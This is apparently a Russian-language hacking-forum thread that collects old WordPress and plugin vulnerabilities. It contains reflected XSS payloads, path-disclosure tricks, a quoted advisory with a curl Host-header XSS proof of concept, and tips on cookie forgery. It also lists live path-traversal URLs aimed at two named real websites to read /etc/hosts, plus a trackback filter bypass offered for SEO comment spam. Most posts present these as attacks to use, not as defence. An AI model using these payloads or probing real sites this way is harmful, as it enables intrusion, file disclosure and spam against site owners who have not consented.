Уязвимости в модуле WP Wall
Version: 1.4.2(возможно и ниже)

1.Пассивная XSS
Условия: register_globals = On
Уязвимость в файле wp-wall\wp-wall-widget-control.php
Уязвимый код:
Пример использования:
2. Еще одна пасивная XSS:
Условия: register_globals = On
Уязвимость в файле wp-wall\wp-wall-widget.php
Уязвимый код:
Пример использования:
Но как и вслучае с модулем Appstore Charts чуть ниже выскакивает ошибка, для того чтобы никого не смущать можно сделать то же самое что и там, к примеру:
3.Раскрытие путей и не только(для всех модулей):
Америку не открою наверное, но расскажу свои мысли по поводу плагинов WP... Вобщем никто практически не закрывает для взора папку /wp-content/plugins/ как по мне так это серьезный недочет! Ну скажем когда мы можем ее просматривать, уже видно названия всех плагинов, а это в свою очередь упрощает взлом сайта с установленным WP. Скажем раскрытие путей есть в каждом плагине! Достаточно обратится к любому файлу где есть add_action Пример:
И уже видим раскрытие путей! К примеру:
Обратившись:
видим:
, этим страдают поголовно все модули которые я видел... А имея список плагинов мы можем уже подобрать возможные пути взлома, используя уязвимости для плагинов, если таковые имеются!
Теперь о раскрытии путей, иногда может потребоваться, но как я выше написал, в WP насчет этого можно не беспокоится... =) Я не пишу о раскрытии в модулях WP только потому что оно практически везде, покажу на примере WP Wall:
Раскрытие есть в 3 файлах из 4:
1. В файле wp-wall\wp-wall.php есть проверка на версию, если обойти проверку просто обратившись:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall.php?wp_version=2.7
видим раскрытие...
2. В файле wp-wall\wp-wall-widget.php просто обратившись к нему уже лицезреем раскрытие...
3. В файле wp-wall\wp-wall-ajax.php обратившись к нему
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-ajax.php?refresh=1
видим раскрытие...
Вобщем расклад не очень, но само раскрытие без уязвимостей в модулях безобидно =)

Вообще хотелось бы разобраться в сложившейся ситуации... Совсем запутался... Вобщем я заметил что при xss в модулях WP в куках пароль не выводится, и получется что они бессмысленны? Объясните кто нить это, и что вообще делать дальше? Забить на xss в модулях?

На авторизационные куки ставится флаг httpOnly, если не ошибаюсь начиная с версии 2.7, поэтому XSS действительно может быть мало чем полезен. Ищи выполнение кода

__________________
<? Raz0r.name — блог о web-безопасности

Даже скуль-инъекция может быть в >=2.5 полезна, если в конфиге секретный ключ оставлен дефолтный, просто тащим secret_key из базы и генерим на основе его куки.
Так что, +500 к словам Разора, прекращай страдать ерундой с XSS в плагинах)
SQL inj && Code exec && LFI && RFI = is_our_way

I. VULNERABILITY
-------------------------
WordPress MU < 2.7 'Host' HTTP Header Cross Site Scripting (XSS)
Vulnerability

II. BACKGROUND
-------------------------
WordPress MU, or multi-user, allows to run unlimited blogs with a
single install of wordpress. It is most famously used for
WordPress.com where it serves tens of millions of hits on hundreds of
thousands of blogs each day. Also is used in many other sites like
Harvard University and Le Monde.

III. DESCRIPTION
-------------------------
WordPress MU prior to version 2.7 fails to sanitize the Host header
correctly in choose_primary_blog function and is therefore prune to
XSS attacks.
Web Sites running in a name based virtual hosting setup are not
affected while they are not the default virtual host.

IV. PROOF OF CONCEPT
-------------------------
The snippet of vulnerable code:

In wp-includes/wpmu-functions.php, concretly in the function
choose_primary_blog:

1830 function choose_primary_blog() {
1831 global $current_user;
1832 ?>
1833 <table class="form-table">
1834 <tr>
1835 <th scope="row"><?php _e('Primary Blog'); ?></th>
1836 <td>
1837 <?php
1838 $all_blogs = get_blogs_of_user( $current_user->ID );
1839 if( count( $all_blogs ) > 1 ) {
1840 $primary_blog = get_usermeta($current_user->ID,
'primary_blog');
1841 ?>
1842 <select name="primary_blog">
1843 <?php foreach( (array) $all_blogs as $blog ) { ?>
1844 <option value='<?php echo $blog->userblog_id
?>'<?php if( $primary_blog == $blog->userblog_id ) echo '
selected="selected"' ?>>http://<?php echo $blog->domain.$blog->path
?></option>
1845 <?php } ?>
1846 </select>
1847 <?php
1848 } else {
1849 echo $_SERVER['HTTP_HOST']; <- HERE
1850 }
1851 ?>
1852 </td>
1853 </tr>
1854 </table>
1855 <?php
1856 }

The line 1849 contains the affected code "echo $_SERVER['HTTP_HOST'];"
and is possible to inject HTML and script code crafting HTTP Host header:

PoC:
$ curl -H "Cookie: my cookies here" -H "Host: <body
onload=alert(String.fromCharCode(88,83,83))>"
http://www.example.com/wp-admin/profile.php> tmp.html
$ firefox tmp.html

The javascript code will be executed in the context of the victim
browser, this can be exploited to steal cookies and escalate
privileges to administrator.

Tested with Wordpress MU 2.6.5, Apache 2.2 and Mozilla Firefox 3.0.6

V. BUSINESS IMPACT
-------------------------
The impact is the attacker can gain administrator privileges on the
application.

VI. SYSTEMS AFFECTED
-------------------------
Versions prior to 2.7 are affected

VII. SOLUTION
-------------------------
Upgrade to version 2.7 of wordpress multi-user. It can be downloaded
from http://mu.wordpress.org

VIII. REFERENCES
-------------------------
http://mu.wordpress.org

IX. CREDITS
-------------------------
This vulnerability has been discovered
by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).

X. REVISION HISTORY
-------------------------
December 03, 2008: Initial release
March 02, 2009: More details added

XI. DISCLOSURE TIMELINE
-------------------------
December 03, 2008: Vendor contacted
December 03, 2008: MU trunk code fixed
January 28, 2008: WordPress MU 2.7 released
March 10, 2009: Vulnerability published by
Internet Security Auditors (www.isecauditors.com)

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Internet Security Auditors accepts no responsibility for any damage
caused by the use or misuse of this information.

#http://milw0rm.com/exploits/8196

Wordpress Plugin fMoblog Remote SQL Injection Vulnerability


http://www.milw0rm.com/exploits/8229

Честно сказать нашёл случайно в нете и оч удивился что нигде не описания
wp-lytebox
http://grupenet.com/2007/08/03/wp-lytebox/
Ну тут конечно надобы написатт что требуется magic_quotes_gpc=off, но я всё таки нашёл сайтег где можно обойти
http://seimweddings.com/photography/wp-content/plugins/wp-lytebox/main.php?pg=../../../../../../../../../../../../etc/hosts%00
http://kateherrick.com/wp-content/plugins/wp-lytebox/main.php?pg=../../../../../../../../../../../../../../../../etc/hosts {тут 5000 слешей}

Кстати /etc/passwd не инклудится вообще)

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands

Target: Simple:Press Forum v3.1.3 [WP: v2.04 and above]
Off.page: www.stuff.yellowswordfish.com/simplepress-forum}

Xss: site.xxx/forum/?forum=all&value=<script>alert(document.cookie)</script>%251&search=1

Итак, начинаю постить найденные мной уязвимости WordPress, опубликованные в Хакере.
----
1. WordPress Comments Html Spam Vulnerability (1.5<=WordPress<=2.7.1)

Итак, перед тобой первая неопубликованная уязвимость, которую я назвал "WordPress Comments Html Spam Vulnerability".
Уязвимость затрагивает все версии движка, начиная от 1.5 и заканчивая последней (на момент написания статьи) 2.7.1.
Давай заглянем в исходники ВордПресса. Открывай файл ./wp-includes/comment.php и находи следующий код:
Смысл этого кода состоит в том, что:
1. Блог смотрит на URL трэкбека, парсит его с помощью parse_url (подробно о том, что такое Trackback, ищи в моей прошлогодней статье "Спамом по вебу");
2. Если хост трэкбэка присутствует в блогролле (сборник ссылок на твоем блоге), то функция check_comment() вернет true;
3. Если комментарий успешно проходит через check_comment(), то сразу начинает отображаться под постом, нет - должен пройти премодерацию.
В этом занимательном коде есть один тонкий нюанс: разработчики WordPress просто-напросто не знают, как работает функция parse_url.
Цитата с http://www.php.net/parse_url: "This function is not meant to validate the given URL".
Эти слова подразумевают то, что parse_url() элементарно не проверяет валидность переданного адреса! То есть мы можем передать в нее что-то вроде "http://%/suck_wordpress", в результате чего переменная $uri['host'] станет равной "%".
Далее, как ты уже догадался, наш evil-хост переместится в sql-запрос, который примет следующий вид:
Так как этот запрос всегда будет возвращать true, наш спам-комментарий априори будет считаться зааппрувленным
Но и это еще не все!
Для работы с трекбеком используется файл ./wp-trackback.php, в котором наше тело комментария ($excerpt) попадает в такую функцию:
Казалось бы, передать ссылку здесь невозможно. Но нерадивые разработчики снова не учли здесь несколько нюансов:
1. strip_tags() успешно пропускает через себя теги вроде "< br / >" (то есть содержащие в себе пробелы);
2. kses фильтры успешно нормализуют html-теги, содержащие в себе эти самые пробелы.
И вот, исходя из этой информации, можно придумать конечный эксплойт:
Где в поле "Comment" вставляем:
В итоге, на нужном блоге мы получим зааппрувленный комментарий с выделенной жирным ссылкой "Купить слона".
Единственное замечание: этот способ в SEO годен только для Yahoo, Яндекса, MSN, так как в коде ссылки добавляется rel="nofollow", благодаря которому всемогущий Гугл не засчитывает ссылку.